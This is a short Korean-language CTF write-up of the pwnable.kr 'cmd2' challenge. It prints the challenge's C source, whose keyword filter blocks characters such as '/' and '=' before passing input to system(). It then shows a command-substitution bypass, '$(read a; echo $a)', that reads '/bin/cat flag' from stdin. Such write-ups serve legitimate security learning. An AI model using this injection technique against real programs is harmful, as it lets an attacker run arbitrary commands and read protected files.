WarGame/pwnable.kr
pwnable.kr - cmd2
m0nd2y
2018. 9. 9. 01:50
이번 문제는 pwnable.kr - cmd2문제입니다.
cmd1보다는 필터링이 상당히 많아져서 삽질좀 많이 했네여
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; } | cs |
별의 별개 다막혔네요 ㅎㅎ
전에사용했던것을 조금 응용해서 새로운 익스를 짜봤습니다.
cmd2@ubuntu:~$ ./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag
(grin)